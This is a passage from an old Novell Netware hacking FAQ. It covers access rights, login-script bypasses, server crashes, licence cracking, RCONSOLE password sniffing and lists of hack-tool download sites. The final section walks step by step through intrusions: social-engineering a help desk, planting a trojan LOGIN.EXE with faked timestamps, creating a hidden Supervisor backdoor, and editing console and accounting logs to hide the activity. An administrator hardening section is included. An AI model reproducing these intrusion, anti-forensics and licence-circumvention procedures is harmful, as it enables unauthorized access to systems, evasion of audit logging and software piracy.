- [Sxxxxxxx] shouldn't appear unless you are supervisor (or equivalent). It means you have full access in that directory and all subdirectories. You cannot be excluded from any directory, even if a user explicitly tries to revoke your access in a subdirectory.
- [xxxxxxxA] is next best thing to the S right. It means you have access control in that directory and all subdirectories. You can have your access control (along with any other rights) revoked in a subdirectory, but you can always use inherited rights to recover them (see the c.o.n.s FAQ).
- [R F] is what users should have in directories containing software. You have the right to read files only.
- [RCWEMFx] is what users should have in their home directory. You can read, create, and edit files. If you find any unusual directories with these rights, they can also be used for storing files (maybe an abuse of the network, especially if this is exploited to avoid quota systems).
- [RxW F] usually means that the directory is used for keeping log files. Unless you have the C right, it may not be possible to edit files in this directory.

The RIGHTS command tells you what rights you have in a particular directory. GRANT, REVOKE, and REMOVE are used to set trustee rights.

Section 04 - Miscellaneous Info on Netware

[04-1. Why can't I get through the 3.x server to another network via TCP/IP?](#)

[04-2. How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?](#)

[04-3. How can I login without running the System Login Script?](#)

[04-4. How do I remotely reboot a Netware 3.x file server?](#)

[04-5. How can I abend a Netware server? And why?](#)

[04-6. What is interesting about Netware 4.x's licensing?](#)

[04-7. What is Newtare NFS aind is it secure?](#) ☐

[04-8. Can sniffing packets help me break in?](#) ☐

[04-9. What else can sniffing get me?](#) ☐

[04-10. How can I check for weak passwords?](#) ☐

Section 04

Miscellaneous Info on Netware

04-1. Why can't I get through the 3.x server to another network via TCP/IP?

Loading the TCPIP.NLM in a server with two cards does not mean that packets will be forwarded from one card to another. For packet forwarding to work, the AUTOEXEC.NCF file should have the line:

```
load tcpip forward=yes
```

For packets to go through the server, you must set up a "gateway=aa.bb.cc.dd" option on the workstation. This leaves routing up to the server. If you are writing hack tools, keep this in mind if they

use IP. Some older routers may not recognize the Netware server as a router, so you may not have many options if your target is on the other side of one of these routers. Newer routers are Netware aware and will "find" your server as a router through RIP.

Netware 3.11 IP will only forward between two different subnets. Proxy Arp is currently not supported in Netware IP. Example:

123.45.6 & 123.45.7 with a mask of ff.ff.ff.00 will forward packets

123.45.6 & 231.45.7 with a mask of ff.ff.ff.00 will not

This way you do not waste precious time trying to cross an uncrossable river. Some admins use this to limit the flow of IP traffic.

04-2. How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?

For Netware 3.xx, use these command-line options:

SERVER -NS to skip STARTUP.NCF, and

SERVER -NA to skip AUTOEXEC.NCF

NetWare 2.x does not HAVE the files STARTUP.NCF and AUTOEXEC.NCF. Instead they hard-code all the information into NET\$OS.EXE, so you will have to rebuild it to change anything.

04-3. How can I login without running the System Login Script?

Often an admin will try and prevent a user from getting to DOS or breaking out of the System Login Script to "control" the user. Here's to way to prevent that -

- Use ATTACH instead of LOGIN to connect to a server. ATTACH will not run the login script, whereas LOGIN will. ATTACH.EXE will either have to be copied to a local HD or put in SYS: LOGIN.
- Use the /s <fname> option for LOGIN. Using LOGIN /S NUL <login> will cause LOGIN to load the DOS device NUL which will always seem like an empty file.

04-4. How do I remotely reboot a Netware 3.x file server?

If you have access to a server via RCONSOLE it may come in handy after loading or unloading an NLM to reboot a server. Build an NCF file by doing the following steps -

1. Create a file called DOWNBOY.NCF on your local drive. It should be a text file and contain the following lines:

REMOVE DOS

DOWN

EXIT

1. Copy up the file to the SYS:SYSTEM directory using RCONSOLE.
2. At the System Console prompt, type DOWNBOY and enter.

What happens is this - the REMOVE DOS statement frees up the DOS section in server RAM, the server is downed (if there are open files, you will be given one of those "are you sure" messages, answer Y for yes), and the EXIT command tries to return the server console to DOS. But since you removed DOS from RAM, the server is warm booted.

04-5. How can I abend a Netware server? And why?

I'll answer the second question first. You may be testing your server as an administrator and wish to see how you are recovering from crashes. Or you may be a hacker and wish to cover your tracks VERY DRAMATICALLY. After all, if you are editing log files and they are going to look funny when you are done, a good crash might explain why things look so odd in the logs.

These are per itsme:

1. Netware 4.1 : type 512 chars on the console + NENTER -> abend
2. Netware 3.11 : NCP request 0x17-subfn 0xeb with a connection number higher than the maximum allowed will crash the server (yes you will need the APIs)

04-6. What is interesting about Netware 4.x's licensing?

It is possible to load multiple licenses and combine their total number of users. For example, if you are in one of those Novell CNE classes where they give you a 2 user 4.1 license, you can get everyone's CD in class and combine them on one server. If you get 10 CDs you have a 20 user license. I know of no limit to the maximum number of licenses and user limit, except for hardware limitations supporting it. This means you could load more than one copy of 1000 user Netware 4.1 on a server (assuming you have unique copies, not the same copy twice).

itsme has done some poking around with his tools, and has the following to say regarding the SERVER.EXE that comes with Netware 4:

what's inside server.exe:

0001d7c7 server.nlm type=07

000d319d "Link" 000d504a

000d31a5 unicode.nlm type=00 (ordinary NLM)

000d504a "Link" 000d6e9c

000d5052 dsloader.nlm type=00 (ordinary NLM)

000d6e9c "Link" 000db808

000d6ea4 timesync.nlm type=00 (ordinary NLM)

000db808 polimgr.nlm type=0c ('hidden' NLM)

By editing the binary of server, and changing the type of polimgr.nlm from 0c to 00 (offset 007a or 000db882 in server.exe) it becomes unhidden. Hidden NLM's are protected from debugging with the netware debugger.

polimgr.nlm manages the license files, after it reads the file, it checks with somekind of signature function whether it is a valid file the function doing the checking can be made to always return OK, then you can create an any number of users license.

04-7. What is Netware NFS and is it secure?

NFS (Networked File System) is used primarily in Unix to remotely mount a different file system. Its primary purpose in Netware is to allow the server to mount a Unix file system as a Netware volume, allowing Netware users access to Unix data without running IP or logging into the server, and Unix users to mount a Netware volume as a remote file system. If the rights are set up incorrectly you can gain access to a server.

While the product works as described, it is a little hard to administer, as user accounts on both sides must be in sync (name and password) and it can be a fairly manual process to ensure that they are.

A reported problem with Netware NFS is that after unloading and reloading using the .NCF files, a

system mount from the Unix side includes SYS:ETC read only access. If this directory can be looked at from the Unix side after a mount, .NCF and .CFG files could be viewed and their information exploited. For example, SYS:ETC is a possible location of LDREMOTE.NCF, which could include the RCONSOLE password.

Netware NFS' existence on a server says you have some Unix boxes around somewhere, which may be of interest as another potential system to gain access to.

04-8. Can sniffing packets help me break in?

Yes. If a user is logging in and the password is being transmitted to the server unencrypted, it will show up as plain text in the trace. If the site uses telnet and ftp, capturing those password will come in handy. Outside of gaining access to another system, many users will make their passwords the same across all systems.

For a list of DOS-based sniffers, see the alt.2600/#hack FAQ. I personally prefer the Network General Sniffer ;-)

RCONSOLE.EXE is the client-launched application that provides a remote server console to a Novell Netware file server. The connection between client and server allows administrators to manage servers as if they were at the physical server console from their desks, and allow virtually any action that would be performed at the server console to be performed remotely, including execution of console commands, uploading of files to the server, and the unloading and loading of Netware Loadable Modules (NLMs). It is not only an effective tool for administrators, it is a prime target for hackers.

A critical point of access to many servers is the actual physical console. This is one of the main reasons why physical security of the server is so important and stressed by security conscious administrators. On many systems you have a level of access with little to no security. Netware is no exception.

The main reason to hack RCONSOLE is to gain access to the Netware server console. No, you aren't physically there, but the OS doesn't know any different. And the main reason to gain access to the Netware server console is to utilize a tool to gain Supervisor access to the Netware server.

During the RCONSOLE process, the password does come across the wire encrypted. If you look at the conversation you will see packets containing the RCONSOLE.EXE being opened, the possible servers to be accessed, etc. This conversation is nothing but NCP packets.

Once RCONSOLE is up on the workstation, the user chooses the server, hits enter, and is prompted for a password. After entering the password, the conversation contains two 60 byte IPX/SPX packets going back and forth followed by 4 NCP packets, 64 bytes, 60 bytes, 64 bytes, and 310 bytes in length respectively. The next IPX/SPX packet, 186 bytes in length, contains the password. It is located at offset 3Ah, which is easy to find. Offset 38h is always FE and offset 39h is always FF.

Now comes the use of a tool called RCON.EXE from itsme that can take some of the information you have collected and turn it into the password. What you need are the first 8 hex bytes starting at offset 3Ah, the network address, and the node address. Now the network and node address are in the header of the packet that contains the encrypted password, but can also get these by typing USERLIST /A which returns this info (and more) for each person logged in.

Now why just the first 8 hex bytes? That's all Novell uses. Great encryption scheme, huh?

04-9. What else can sniffing get me?

Jeff Carr has pointed out that RCONSOLE sends screens in plaintext across the network for all to see (well, all with sniffers). This means you can see what is being typed in and what is happening on the screen. While it is not the prettiest stuff to look at, occasional gems are available. Jeff's best gem? The RCONSOLE password. The server had been brought up without REMOTE and RSPX being loaded, they were loaded by hand at the console after the server was brought up. The first RCONSOLE session brought up the screen with the lines LOAD REMOTE and LOAD RSPX PASSWORD (with PASSWORD being the RCONSOLE password), and this was being sent to the RCONSOLE user's workstation in plaintext.

04-10. How can I check for weak passwords?

There is a commercial product called SmartPass, which runs as an NLM. Once installed, you can load this and analyze existing passwords for weaknesses. A limited-time free demo can be obtained from the following address:

<http://www.egsoftware.com/>

Section 05 - Resources

[05-1. What are some Netware FTP locations?](#) ☐

[05-2. Can I get files without FTP?](#)

[05-3. What are some Netware WWW locations?](#) ☐

[05-4. What are some Netware USENET groups?](#) ☐

[05-5. What are some Netware mailing lists?](#)

[05-6. Where are some other Netware FAQs?](#) ☐

[05-7. Where can I get the files mentioned in this FAQ?](#) ☐

[05-8. What are some good books for Netware?](#)

Section 05

Resources

05-1. What are some Netware FTP locations?

These are from various FAQs. I have not checked all of these and I'm pretty sure some may no longer be up. But here's a starting point.

Novell's ftp site:

ftp.novell.com 137.65.1.3

ftp.novell.de 193.97.1.1

Novell's ftp Mirrors:

netlab2.usu.edu		29.123.1.44 (the best)
bnug.proteon.com		128.103.85.201
ftp.rug.nl	/networks/novell	129.125.4.15
ftp.salford.ac.uk	/novell	146.87.255.21
tui.lincoln.ac.nz	/novell/novlib	138.75.90.4
novell.nrc.ca	/netwire	132.246.160.4

Other Misc. Sites:

ml0.ucsf.edu	/guest/pc	129.215.112.49 (second best)
splicer2.cba.hawaii.edu	/files/novell	128.171.17.2
	/files/pegasus	
cc.usu.edu	/slip	129.123.1.1
	/tcp-ip	
	/pub/network/novlib	130.160.4.7
risc.ua.edu	/pub/network/pegasus	
	/pub/network/misc	
	/pub/network/tcpip	
wuarchive.wustl.edu	/etc/system/novell	128.252.135.4
nctucca.edu.tw		140.111.1.10
ftp.uni-kl.de	/pub/novell	131.246.94.94
netlab.usu.edu	/novell	129.123.1.11
	/netwatch	
chaos.cc.ncsu.edu	/pc/novell	152.1.10.23
	/pc/utlis	
	/pc/email	
	/pc/net	
	/pc/manage	
dutiws.twi.tudelft.nl	/pub/novell	130.161.156.11
jumper.mcc.ac.uk	/pub/security/netware	130.88.202.26
sodapop.cc.LaTech.edu	/pub/novell/specials	138.47.22.47
ftp.safe.net	/pub/safetynet/	199.171.27.2
ftp.best.com	/pub/almcepud/hacks	204.156.128.96
ftp.efs.mq.edu.au	/pub/novell	137.111.55.8

05-2. Can I get files without FTP?

Try using the BITFTP-FTP/Email gateway. Just send e-mail containing HELP as the BODY (not a subject) to BITFTP@PUCC.BITNET. It will send more info to you.

Internet gateways are:

ftpmail@decwrl.dec.com

ftpmail@cs.uow.edu.au

If you are on Compuserve, type GO NETWIRE to get to Novell's forum. There are files on there for downloading. Also try the CD NSEpro, which is most of the Netwire forum put on CD.

05-3. What are some Netware WWW locations?

<http://www.novell.com/>

<http://www.novell.de/>

<http://www.salford.ac.uk/ais/Network/Novell-Faq.html>

<http://mft.ucs.ed.ac.uk/>

<http://resudox.net/bio/mainpage.html>

<http://www.efs.mq.edu.au/novell/faq>

<http://occam.sjf.novell.com:8080>

<http://www.safe.net/safety>

<http://www.cis.ohio-state.edu/hypertext/faq/usenet/netware/security/faq.html>

Novell in Provo

Novell in Europe

Novell@listserv.syr.edu

Edinburg Tech Library*

Great tools**

comp.sys.novell FAQ

Online manuals

Security Company

comp.os.netware.security FAQ

* Excellent site for tons of techie info. The Netware Server Management section should be read by all hackers and admins alike.

** BioHazard has been busy collecting tools, a great site with assorted nasties like keystroke capture programs, sniffers, and other security compromising goodies. The bane of Sys Admins everywhere.

05-4. What are some Netware USENET groups?

Netware specific:

- comp.os.netware.misc (main group, replaced comp.sys.novell)
- comp.os.netware.announce (moderated announcements)
- comp.os.netware.security (security issues)
- comp.os.netware.connectivity (connect. issues incl. LAN Workplace)

Security, H/P in general:

- alt.2600
- alt.security
- comp.security.announce
- comp.security.misc

05-5. What are some Netware mailing lists?

NOVELL@listserv.syr.edu	send an email with no subject to listserv@listserv.syr.edu with "subscribe NOVELL Your Full Name" in the body. You must reply to the message within two days or you'll not be added to the list. The same address no subject with "unsubscribe NOVELL" takes you off the list.
BIG-LAN@suvvm.acs.syr.edu	send subscriptions to LISTSERV@suvvm.acs.syr.edu.
CUTCP-L@nstn.ns.ca	for a discussion of Charon and CUTCP Telnet issues. Send subscription requests to listserv@nstn.ns.ca.
INFO-IBMPC@arl.army.mil	send subscription requests to INFO-IBMPC-REQUEST@arl.army.mil.
NWP@UEL.AC.UK	for programming under Netware. Send subscription requests to LISTPROC@UEL.AC.UK.
MSDOS-ANN@tacom-emh1.army.mil	for announcements of SimTel uploads. To subscribe, send mail to LISTSERV@tacom-emh1.army.mil with the message SUBSCRIBE MSDOS-ANN.
CICA-L@ubvm.cc.buffalo.edu	for announcements of Windows uploads to CICA. To subscribe, send mail to Listserv@ubvm.cc.buffalo.edu with the message SUBSCRIBE CICA-L .

05-6. Where are some other Netware FAQs?

The old comp.sys.novell (recently deleted) FAQ is available via ftp at ftp.eskimo.com in directory /u/m/mstal. The c.s.n FAQ is cs.n.faq. The Novell listserv FAQ is faq.txt. It can be FTP directly from its maintainer at netlab2.usu.edu/misc/faq.txt.

These are also available at URL <http://www.eskimo.com/~mstal>. Included is a URL to ftp the latest version of the Novell listserv FAQ, a URL to a web of the Novell listserv FAQ with many of the ftp sites webbed, and a URL to a web of the c.s.n faq, created by David Rawling. The Novell listserv FAQ web URL is <http://www.salford.ac.uk/docs/depts/ais/Network/Novell-Faq.html> and the c.s.n FAQ web URL is <http://www.efs.mq.edu.au/novell/faq/index.html>.

Stanley Toney publishes a bi-weekly Netware Patches and Updates FAQ in comp.os.netware.announce. It is also available at <ftp://ftp.nsm.smcm.edu/pub/novell/patchfaq.zip>.

Floyd Maxwell, fmaxwell@unixg.ubc.ca, keeper of the listserv FAQ, will automatically mail you the FAQ on a regular basis if you request it of him.

Fauzan Mirza has developed a FAQ for comp.os.netware.security, posting it there once a month. It is also archive at rtfm.mit.edu in the usenet FAQ archive.

Don't forget the alt.2600/#hack FAQ as a general hacking/phreaking resource, available at rtfm.mit.edu among other locations.

05-7. Where can I get the files mentioned in this FAQ?

SETPWD.NLM	ml0.ucs.ed.ac.uk	/guest/pc/novell/nlms	setpwd.zip
SETSPWD.NLM	netlab2.usu.edu	/misc	
SETSPASS.NLM	netlab2.usu.edu	/misc	
NOVELBFH.EXE	jumper.mcc.ac.uk	/pub/security/netware	novelbfh.zip
KNOCK.EXE	jumper.mcc.ac.uk	/pub/security/netware	knock.zip
LOGIN.EXE	jumper.mcc.ac.uk	/pub/security/netware	nwl.zip
PROP.EXE	jumper.mcc.ac.uk	/pub/security/netware	nwl.zip
CHKNULL.EXE	ftp.fastlane.net	/pub/nomad/nw	chk0.zip
USERLIST.EXE	ml0.ucs.ed.ac.uk	/guest/pc/novell/utils	jrb212a.zip
LASTHOPE.NLM	ml0.ucs.ed.ac.uk	/guest/pc/novell/nlms	lasthope.zip
NW-HACK.EXE	jumper.mcc.ac.uk	/pub/security/netware	nw-hack.zip
SUPER.EXE	ml0.ucs.ed.ac.uk	/guest/pc/novell/utils	super.zip
CONLOG.NLM	ml0.ucs.ed.ac.uk	/guest/pc/novell	
X-AWAY.EXE	ml0.ucs.ed.ac.uk	/guest/pc/novell/utils	x-away.zip
Bindview	Your local software dealer		
GRPLIST.EXE	ml0.ucs.ed.ac.uk	/guest/pc/novell/utils	jrb212a.zip
GETEQUIV.EXE	ml0.ucs.ed.ac.uk	/guest/pc/novell/utils	jrb212a.zip
TRSTLIST.EXE	ml0.ucs.ed.ac.uk	/guest/pc/novell/utils	jrb212a.zip
SECUREFX.NLM	www.novell.com	Search for it in the Tech Section	
RCON.EXE	ftp.fastlane.net	/pub/nomad/nw	rcon.zip

05-8. What are some good books for Netware?

For Netware basics, there are tons. Bill Lawrence has a number of books that are easy to read but cover things with enough detail for a good understanding. I recommend the latest stuff from him. Look in your

local bookstore's techie section. The Novell Press books are also good, but you tend to pay more for the name.

For programming:

Programmer's Guide to Netware -- (1990) Author: Charles G. Rose. Publisher: McGraw-Hill, Inc. The bible of Netware programming, dated since Novell has changed virtually every header file, but still the best. Covers 2.x and 3.x except for NLM programming. Lots of good source code.

Netware Programmer's Guide -- (1990) Author: John T. McCann. Publisher: M&T Books. Another dated but classic book with lots of good source for learning.

Novell 4.0 NLM Programming -- (1993) Authors: Michael Day, Michael Koontz, Daniel Marshall. Publisher: Sybex, Inc. Not as complete as I would like, but I'm picky. Still a classic. Although the title implies 4.x, most of it still works for 3.x, too. And if you can't get the kids to sleep, try reading them the tons of useful source code. Jeez, you may have to leave the closet light on, though...

Section 06 - Netware APIs

[06-1. Where can I get the Netware APIs?](#)

[06-2. Are there alternatives to Netware's APIs?](#) ☐

Section 07 - For Administrators Only

[07-1. How do I secure my server?](#) ☐

[07-2. I'm an idiot. Exactly how do hackers get in?](#)

Section 06

Netware APIs

06-1. Where can I get the Netware APIs?

Stateside call 1-800-RED-WORD, it's \$50 USD, and includes a 2-user license of Netware 4.1. Most brand-name compilers will work, but if you're writing NLMs you'll need Watcom's latest. It's the only one I know of that will do NLM linking.

06-2. Are there alternatives to Netware's APIs?

There are two that I am aware of. Here is info on them -

Visual ManageWare by HiTecSoft (602) 970-1025

This product allows development of NLMs and DOS EXEs using a Visual Basic type development environment. Runtime royalty-free development without C/C++ and without Watcom. However links are included for C/C++ programs. The full SDK including compilers is USD\$895.00. Pricey but looks good, I have not used this product.

Here is Teiwaz' edited report on the other -

Here is another source for 'c' libs for Netware. He sells both DOS / Windows style libs. The Small memory model size for DOS, a bit of source is free.

FTP

oak.oakland.edu/SimTel/msdos/c/netclb30.zip

Public Domain Small Mem Model Lib

Author

Adrian Cunnelly - adrian@amcsoft.demon.co.uk

Price

the current price in US Dollars is:

38 Dollars - All model libraries + windows DLL

110 Dollars - Above + Source Code

Section 07

For Administrators Only

07-1. How do I secure my server?

This question is asked by administrators, and I'm sure no hackers will read this info and learn what you admins might do to thwart hack attacks ;-)

One thing to keep in mind, most compromises of data occur from an employee of the company, not an outside element. They may wish to access sensitive personnel files, copy and sell company secrets, be disgruntled and wish to cause harm, or break in for kicks or bragging rights. So trust no one.

Physically Secure The Server

This is the simplest one. Keep the server under lock and key. If the server is at a site where there is a data center (mainframes, midranges, etc) put it in the same room and treat it like the big boxes. Access to the server's room should be controlled minimally by key access, preferably by some type of key card access which can be tracked. In large shops, a man trap (humanoid that guards the room) should be in place.

If the server has a door with a lock, lock it (some larger servers have this) and limit access to the key. This will secure the floppy drive. One paranoid site I know of keeps the monitor and CPU behind glass,

so that the keyboard and floppy drive cannot be accessed by the same person at the same time.

If you only load NLMs from the SYS:SYSTEM directory, use the SECURE CONSOLE command to prevent NLMs being loaded from the floppy or other location.

A hacker could load a floppy into the drive and run one of several utility files to gain access to the server. Or they could steal a backup tape or just power off the server! By physically securing the server, you can control who has access to the server room, who has access to the floppy drive, backup tapes, and the System Console. This step alone will eliminate 75% of attack potential.

Secure Important Files

These should be stored offline. You should make copies of the STARTUP.NCF and AUTOEXEC.NCF files. The bindery or NDS files should be backed up and stored offsite. All System Login Scripts, Container Scripts, and any robotic or non-human personal Login Scripts should be copied offline. A robotic or non-human account would be an account used by an email gateway, backup machine, etc.

Compile a list of NLMs and their version numbers, and a list of files from the SYS:LOGIN, SYS:PUBLIC, and SYS:SYSTEM directories.

You should periodically check these files against the originals to ensure none have been altered.

Replacing the files with different ones (like using itsme's LOGIN.EXE instead of Novell's) will give the hacker access to the entire server. It is also possible that the hacker will alter .NCF or Login Scripts to bypass security or to open holes for later attacks.

Make a list of Users and their accesses

Use a tool like Bindview or GRPLIST.EXE from the JRB Utilities to get a list of users and groups (including group membership). Once again, keep this updated and check it frequently against the actual list.

Also run Security (from the SYS:SYSTEM directory) or GETEQUIV.EXE from the JRB Utilities to determine who has Supervisor access. Look for odd accounts with Supervisor access like GUEST or PRINTER.

It is also a good idea to look at Trustee Assignments and make sure access is at a minimum. Check your run from Security to see if access is too great in any areas, or run TRSTLIST from the JRB Utilities.

Security will turn up some odd errors if SUPER.EXE has been run. If you are not using SUPER.EXE, delete and rebuild any odd accounts with odd errors related to the Bindery, particularly if BINDFIX doesn't fix them yet the account seems to work okay. If a hacker put in a backdoor using SUPER.EXE,

they could get in and perhaps leave other ways in.

Monitor the Console

Use the CONLOG.NLM to track the server console activity. This is an excellent diagnostic tool since error messages tend to roll off the screen. It will not track what was typed in at the console, but the system's responses will be put in SYS:ETC\CONSOLE.LOG. When checking the console, hit the up arrow to show what commands were last typed in.

While this won't work in large shops or shops with forgetful users, consider using the SECUREFX.NLM (or SECUREFX.VAP for 2.x). This sometimes annoying utility displays the following message on the console and to all the users after a security breach:

"Security breach against station DETECTED."

This will also be written to an error log. The following message is also written the the log and to the console:

"Connection TERMINATED to prevent security compromise"

Turn on Accounting

Once Accounting is turned on, you can track every login and logout to the server, including failed attempts.

Don't Use the Supervisor Account

Leaving the Supervisor logged in is an invitation to disaster. If packet signature is not being used, someone could use HACK.EXE and gain access to the server as Supervisor. HACK spoofs packets to make them look like they came from the Supervisor to add Supe equivalence to other users.

Also, it implies a machine is logged in somewhere as Supervisor, if it has been logged in for more than 8 hours chances are it may be unattended.

Use Packet Signature

To prevent packet spoofing (i.e. HACK.EXE) enforce packet signature. Add the following line to your AUTOEXEC.NCF -

```
SET NCP PACKET SIGNATURE OPTION=3
```

This forces packet signature to be used. Clients that do not support packet signature will not be able to access, so they will need to be upgraded if you have any of these clients.

Use RCONSOLE Sparingly (or not at all)

When using RCONSOLE you are subject to a packet sniffer getting the packets and getting the password. While this is normally above the average user's expertise, DOS-based programs that put the network interface card into promiscuous mode and capture every packet on the wire are readily available on the Internet. The encryption method is not foolproof.

Remember you cannot "detect" a sniffer in use on the wire.

Do NOT use a switch to limit the RCONSOLE password to just the Supervisor password. All you have done is set the password equal to the switch. If you use the line "LOAD REMOTE /P=", Supervisor's password will get in (it ALWAYS does) and the RCONSOLE password is now "/P=". Since the RCONSOLE password will be in plain text in the AUTOEXEC.NCF file, to help secure it try adding a non-printing character or a space to the end of the password.

And while you can use the encryption techniques outlined in 02-8, your server is still vulnerable to sniffing the password.

Move all .NCF files to a more secure location (3.x and above)

Put your AUTOEXEC.NCF file in the same location as the SERVER.EXE file. If a server is compromised in that access to the SYS:SYSTEM directory is available to an unauthorized user, you will at least have protected the AUTOEXEC.NCF file.

A simple trick you can do is "bait" a potential hacker by keeping a false AUTOEXEC.NCF file in the SYS:SYSTEM with a false RCONSOLE password (among other things).

All other .NCF files should be moved to the C: drive as well. Remember, the .NCF file runs as if the commands it contains are typed from the console, making their security most important.

Use the Lock File Server Console option in Monitor (3.x and above)

Even if the RCONSOLE password is discovered, the Supe password is discovered, or physical access is gained, a hard to guess password on the console will stop someone from accessing the console.

Add EXIT to the end of the System Login Script

By adding the EXIT command as the last line in the System Login Script, you can control to a degree

what the user is doing. This eliminates the potential for personal Login Script attacks, as described in section 03-6.

Upgrade to Netware 4.1

Besides making a ton of Novell sales and marketing people very happy, you will defeat most of the techniques described in this faq. Most well-known hacks are for 3.11. If you don't want to make the leap to NDS and 4.1, at least get current and go to 3.12.

07-2. I'm an idiot. Exactly how do hackers get in?

We will use this section as an illustrated example of how these techniques can be used in concert to gain Supe access on the target server. These techniques show the other thing that really helps in Netware hacking - a little social engineering.

Exploitation #1

Assume tech support people are dialing in for after hours support. Call up and pose as a vendor of security products and ask for tech support person. Called this person posing as a local company looking for references, ask about remote dial-in products. Call operator of company and ask for help desk number. Call help desk after hours and ask for dial-in number, posing as the tech support person. Explain home machine has crashed and you've lost number. Dial in using the proper remote software and try simple logins and passwords for dial-in software if required. If you can't get in call help desk especially if others such as end users use dial-in.

Upload alternate LOGIN.EXE and PROP.EXE, and edit AUTOEXEC.BAT to run the alternate LOGIN.EXE locally. Rename PROP.EXE to IBMNBIO.COM and make it hidden.

Before editing AUTOEXEC.BAT change the date and time of the PC so that the date/time stamp reflects the original before the edit.

Dial back in later, rename PROP.EXE and run it to get Accounts and passwords.

Summary - Any keystroke capture program could produce the same results as the alternate LOGIN.EXE and PROP.EXE, but you end up with a Supe equivalent account.

Exploitation #2

Load a DOS-based packet sniffer, call the sys admin and report a FATAL DIRECTORY ERROR when trying to access the server. He predictively will use RCONSOLE to look at the server and his packet conversation can be captured. He will find nothing wrong (of course).

Study the capture and use the RCON.FAQ to obtain the RCONSOLE password. Log in as GUEST, create a SYSTEM subdirectory in the home directory (or any directory on SYS:). Root map a drive to the new SYSTEM, copy RCONSOLE.* to it, and run RCONSOLE. Once in try to unload CONLOG and upload BURGLAR.NLM to the real SYS:SYSTEM. Created a Supe user (i.e. NEWUSER) and then typed CLS to clear the server console screen.

Log in as NEWUSER. Erase BURGLAR.NLM, new SYSTEM directory and its contents.

Run PURGE in those directories. Turn off Accounting if on. Give GUEST Supe rights. Set toggle with SUPER.EXE for NEWUSER. Run FILER and note SYS:ETC\CONSOLE.LOG (if CONLOG was loaded) owner and create date, as well as SYS:SYSTEM\SY\$ERR.LOG owner and create date. Edit SYS:ETC\CONSOLE.LOG and remove BURGLAR.NLM activity, including RCONSOLE activity. Edit and remove

RCONSOLE activity from SYS:SYSTEM\SY\$ERR.LOG as well. After saving files, run FILER and restore owner and dates if needed. Run PURGE in their directories.

Logout and login as GUEST and set SUPER.EXE toggle. Remove NEWUSER Supe rights and logout. Login as NEWUSER with SUPER.EXE and remove GUEST Supe rights. Finally logout and login as GUEST with SUPER.EXE and turn on Accounting if it was on.

Summary - You have created a backdoor into the system that will not show up as something unusual in the Accounting log. Login as GUEST using SUPER.EXE and turn off Accounting. Logout and back in as NEWUSER with SUPER.EXE, do what you need to do (covering file alterations with Filer), and logout. Log back in as GUEST and turn on Accounting. The NET\$ACCT.DAT file shows only GUEST logging in followed by GUEST logging out.